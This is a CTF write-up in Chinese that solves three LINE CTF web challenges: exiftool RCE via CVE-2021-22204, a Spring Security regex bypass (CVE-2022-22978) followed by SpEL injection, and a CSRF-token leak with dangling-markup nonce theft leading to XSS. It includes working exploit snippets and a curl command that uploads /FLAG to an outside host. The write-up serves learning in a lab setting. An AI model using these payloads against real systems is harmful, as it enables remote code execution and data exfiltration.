今年 LINE CTF 我在 TSJ 裡面與 THC 合作以 _TTT_
參加,我解了個幾題中等難度的 web,都蠻好玩的。
Imageexif
簡單來說這題有個 Python 服務會使用 exiftool 12.22 來讀取你上傳圖片的
exif 資訊,然後把資訊回傳給使用者。查一下可以找到一些現成的 exploit 如
exploit-CVE-2021-22204
和 JPEG_RCE ,測試一下也能成功。然而這題困難點在於
backend 只存在於 Docker 自己的內網,不能對外連線,中間透過 Nginx reverse
proxy 連接而已,所以需要找個方法透過那個 Python 服務把 flag 傳回來。
我有想過把 uwsgi server 直接 kill,然後 docker compose 那邊因為有
restart: always
所以會自動重啟,所以只要能找到
sys.path
中有可寫的地方的話搞不好就有機會在 Python process
拿 RCE。但是我沒有找到可寫的地方,所以就放棄了。
另一個方法是利用 Python 服務在讀取完 exif
資訊後會把暫存檔刪除,所以只要我們先把他刪除的話就能得到一個 error
oracle,然後透過判斷 flag 字元就能 leak
回來了。賽後看到確實有其他隊這樣做,但是我覺得這個方法太沒效率的,還是希望能找到一個更好的方法直接回顯。
Python 那邊是透過 PyExifTool
去讀取的,裡面會先開個 stay_open
模式的 exiftool
process,然後透過 stdin 送額外的 cli flags 進去讓 exiftool 執行。它送的
flags 大概是 -j -echo4 ...
之類的,-j
是指用
json 格式輸出,-echo4
是告訴 exiftool
要在執行完成時回傳一個指定的 sequence,這樣 Python
這邊才能判斷輸出是不是結束了。
所以我原本是想在 perl 那邊 system('print json');exit()
是沒用的,因為這樣不會回傳那個指定的 sequence,而只會讓 exiftool
卡住不動而已。而另一個方法是想辦法取得 echo4
傳進來的那個
sequence,但是我對 perl
不熟所以也不知道這個怎麼做。最後想到的另一招是因為 RCE 的地方是在它輸出
result json 之前,所以如果能 hook print
函數的話有機會可以讓它不能 print 那個 json,不過這邊也一樣是因為對 perl
不熟所以做不到。
結果後來再仔細看一遍 Python server 發現有:
1 2 3 4 5 6 7 8 9 10 11 12 except ExifToolJSONInvalidError as e: os.remove("tmp/" +tmpFileName) data = e.stdout reg = re.findall('\[(.*?)\]' ,data, re.S )[0 ] metadata = ast.literal_eval(reg) if 0 != len (metadata): return render_template( 'uploaded.html.j2' , tags=metadata, image=_encfile.decode() , thumbnail=thumbnail.decode()), 200 else : return jsonify({ "error" : APIError("ExifToolJSONInvalidError Error Occur" , str (e)).__dict__, }), 400
所以其實根本不用 valid json,因為它就算失敗也會從 stdout 抓長得像
json 的東西出來,所以 system('print json')
就夠了...。
把 exploit-CVE-2021-22204.py
的 main 部分這樣改就行了:
1 2 3 4 5 6 7 if __name__ == "__main__" : from base64 import b64encode cmd = b"""printf '[{"SourceFile":"%s"}]' "$FLAG" """ b64 = b64encode(cmd).decode() exec = f'echo {b64} |base64 -d|bash' command = f"system(\'{exec } \')" exploit(command)
SafeNote
一個 Java Sprint Boot 的 web 服務,前端是用 React 寫的,api 方面是用
JWT 驗證的。
這題第一個關鍵在於 /admin/key/{id}
這個 route:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 @GetMapping("/key/{id}") public String getKey ( @Value("${jwt.secret-key}") String secretKey ) { if (SecurityContextHolder .getContext() .getAuthentication() .getAuthorities() .stream() .anyMatch(x -> x.getAuthority() .equals("USER" )) ){ return "There's nothing for you." ; } return secretKey; }
而各 route 所需的驗證設定是這麼設的:
1 2 3 4 5 6 7 8 9 http .csrf() .disable() .authorizeRequests() .antMatchers("/api/user/register" ,"/api/user/login" ).permitAll() .antMatchers("/api/user/**" , "/api/note/**" ).authenticated() .regexMatchers("/api/admin/.*" ).authenticated() .antMatchers("/api/admin/.*" ).hasRole("ADMIN" ) .anyRequest().permitAll();
所以可知它要求 /api/admin/.*
都必須要有驗證 (不一定要是
admin),然後 /api/admin/key/{id}
這個 route 會檢查如果你是
USER
的話就不給你 JWT secret
key。這邊仔細想的話會發現如果你沒驗證的話那 .equals("USER")
也不會成立,所以如果有辦法繞過
.regexMatchers("/api/admin/.*").authenticated()
的話說不定就能拿到 secret key 了。
查了一下可以發現有 CVE
2022-22978 ,它是關於
org.springframework.security.config.annotation.web.AbstractRequestMatcherRegistry.regexMatchers
繞過的 CVE,版本包含 Spring Security 5.5.x < 5.5.7
和
Spring Security 5.6.x < 5.6.4
。檢查一下
build.gradle
可以找到一行
ext['spring-security.version'] = '5.6.3'
,所以顯然是可以用這個
CVE 的。
CVE 本身主要是關於 java 的 .*
並不會 match
所有字元的的這點,所以只要 GET /api/admin/key/%0a
就能拿到
JWT secret key,然後就能偽造 admin JWT 了。接下來是要找方法讀
/FLAG
檔案才行,這部分要利用
/api/admin/feature
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 @PostMapping(value="/feature", produces = MediaType.APPLICATION_FORM_URLENCODED_VALUE) public Response<FeatureResponse> emulateFeature (@RequestBody String featureRequest, Authentication authentication) { User user = VariousUtils.cast(authentication.getPrincipal(), User.class); if (!Objects.equals(user.getUsername(), ADMIN_ROLE)){ throw new LineCtfException ( ErrorCode.INVALID_PERMISSION, String.format("You are Not Admin : %s" , authentication.getName()) ); } return Response.success( new FeatureResponse ( spelExpressionParser.parseExpression( VariousUtils.decode(featureRequest).split("=" )[1 ] ).getValue(String.class) ) ); }
可知它會把你傳的資料當成 SpEL expression 去執行,而 SpEL 基本上就是
eval,所以想辦法執行指令就行了。
1 2 3 4 5 6 7 await fetch ('/api/admin/feature' , { method : "POST" , headers : { "Authorization" : `Bearer ${localStorage .token} ` , }, body : 'feature=' +encodeURIComponent (`''.getClass().forName('java.lang.Runtime').getMethod('exec',''.getClass()).invoke(''.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null), "curl https://XXXX --upload-file /FLAG")` ) }).then (r => r.json ())
Another Secure Store Note
主程式:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 const fs = require ('fs' )const ejs = require ('ejs' )const path = require ('path' )const crypto = require ('crypto' )const express = require ('express' )const cookieParser = require ('cookie-parser' )const { db, createNewUser, getCsrf } = require ('./db' );const app = express ()app.use ('/' , express.static (path.join (__dirname, 'public' ))) app.use (express.urlencoded ({extended : false })) app.use (cookieParser ()) function rand ( ) { return crypto.randomBytes (20 ).toString ('hex' ) }app.use ((req, res, next ) => { const { id } = req.cookies ; req.user = (id && db.cookies [id] && db.cookies [id].username ) ? db.cookies [id].username : undefined ; const csp = (id && db.cookies [id] && db.cookies [id].nonce ) ? `script-src 'nonce-${db.cookies[id].nonce} '` : '' ; res.setHeader ('Content-Security-Policy' , `default-src 'self'; base-uri 'self'; ${csp} ` ) next () }) function shouldBeLoggedIn (req, res, next ) { if (!req.user ) res.redirect ('/' ); else next (); }function shouldNotBeLoggedIn (req, res, next ) { if (req.user ) res.redirect ('/profile' ); else next (); }function csrfCheck (req, res, next ) { const { csrf } = req.body if (csrf !== getCsrf (req.cookies .id )) return res.redirect (`${req.path} ?error=Wrong csrf` ) next () } app.get ('/' , shouldNotBeLoggedIn, (req, res ) => { res.render ('auth.ejs' ) }) app.post ('/' , shouldNotBeLoggedIn, csrfCheck, (req, res ) => { const { username, password } = req.body try { if (db.users [username]) { if (db.users [username].password !== password) throw 'Wrong password' ; } else createNewUser (username, password) const newCookie = rand () db.cookies [newCookie] = Object .create (null ) db.cookies [newCookie].username = username db.cookies [newCookie].csrf = rand () db.cookies [newCookie].nonce = rand () res.setHeader ('Set-Cookie' , `id=${newCookie} ; HttpOnly; SameSite=None; Secure` ) res.redirect ('/profile' ) } catch (err) { res.redirect (`/?error=${err} ` ) } }) app.get ('/csp.gif' , shouldBeLoggedIn, (req, res ) => { db.cookies [req.cookies .id ].nonce = rand () res.setHeader ('Content-Type' , 'image/gif' ) res.send ('OK' ) }) const settingsFile = fs.readFileSync ('./views/getSettings.js' , 'utf-8' );app.get ('/getSettings.js' , (req, res ) => { res.setHeader ('Content-Type' , 'text/javascript' ); const response = ejs.render (settingsFile, { csrf : getCsrf (req.cookies .id ), domain : process.env .DOMAIN , }); res.end (response); }) app.get ('/profile' , shouldBeLoggedIn, (req, res ) => { res.render ('profile.ejs' , { name : db.users [req.user ].name , nonce : db.cookies [req.cookies .id ].nonce , }); }) app.post ('/profile' , shouldBeLoggedIn, csrfCheck, (req, res ) => { const { name } = req.body ; db.users [req.user ].name = name; res.redirect ('/profile?message=Successfully updated name' ) }) app.use ('/bot' , shouldBeLoggedIn, require ('./bot.js' )); const https = require ('https' );const port = 4567 https .createServer ({ key : fs.readFileSync ('key.pem' ), cert : fs.readFileSync ('cert.pem' ), }, app) .listen (port, () => { console .log (`Server is runing at port ${port} ` ) });
還有 profile.ejs
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <%- include('header.ejs') %> <body > <div class =content > <ul > <li > <a class =active href ='/' > Home</a > </li > <li > <a href =/bot > Talk to admin</a > </li > </ul > <img src =csp.gif > <div class =main > <h1 > 📕 <%- name %> secured notes 📕</h1 > <div > <form method =POST > Wanna change your name? <input class =change-name type =text name =name placeholder ="🐻 Brown" > <input type =hidden name =csrf id =_csrf > <input type =submit value =Submit > <p class =red id =error > </p > <p class =green id =message > </p > </form > </div > </div > <div class =main > Can you tell me a secret? It will securely kept in "localStorage" of this page. <textarea id =secret > </textarea > <input id =submit_storage type =submit value =Store > <script nonce =<%= nonce %> type='application/javascript' > const btn = document .getElementById ('submit_storage' ); btn.addEventListener ('click' , (e ) => { localStorage .setItem ('secret' , document .getElementById ('secret' ).value ); const resp = document .getElementById ('response' ); resp.innerText = 'Successfully stored secret' ; setTimeout (() => resp.innerText = '' , 1500 ); }); </script > <p id =response > </p > </div > </div > <%- include('footer.ejs') %> </body >
這邊顯然有個 XSS 在 name
那邊,但不管是要登入還是要改名字都需要 CSRF token。這邊可以看一下
getSettings.js
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function isInWindowContext ( ) { const tmp = self; self = 1 ; const res = (this !== self); self = tmp; return res; } if (isInWindowContext () && document .domain === '<%= domain %>' ) { const urlParams = new URLSearchParams (location.search ); try { document .getElementById ('error' ).innerText = urlParams.get ('error' ); } catch (e) {} try { document .getElementById ('message' ).innerText = urlParams.get ('message' ); } catch (e) {} try { document .getElementById ('_csrf' ).value = '<%= csrf %>' ; } catch (e) {} }
如果直接 embed 這個 js 在自己的頁面上的話只要是
SameSite=Lax
(而這題是 SameSite=None
)
以下都會送 cookie,所以 js 裡面會包含 CSRF token。透過
Object.defineProperty
可以把 document.domain
改成它要的 domain,所以可以拿到 CSRF token。
接下來它 admin bot 的部分是使用 firefox + puppeteer,會先登入之後設
flag 到 localStorage
之後再 visit 自己的頁面,所以可以透過
CSRF token 去 POST /profile
改名字:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <div id ="error" > </div > <div id ="message" > </div > <form action ="{{ target }}/profile" method ="POST" id ="frm" > <input name ="name" /> <input name ="csrf" id ="_csrf" /> </form > <script > Object .defineProperty (document , 'domain' , { get : () => '{{ domain }}' }) window .onload = () => { frm.name .value = `PAYLOAD` frm.submit () } </script > <script src ="{{ target }}/getSettings.js" > </script >
不過接下來還有 CSP 要 bypass,這部分的關鍵有兩個,第一個是 nonce
更新只會在 /csp.gif
被觸發的時候才會變動,所以只要不讓它載入 /csp.gif
就能固定
nonce。接下來 nonce 的部分可以用
<meta http-equiv=refresh content='0; url=https://XX?
的
dangling markup 去 leak 出來,所以得到 nonce 之後再一個 CSRF 就能 XSS
了。
Payload: sol.tar.gz
這題之所以會用 Firefox 的原因應該是因為 Chrome 有
dangling markup protection 吧。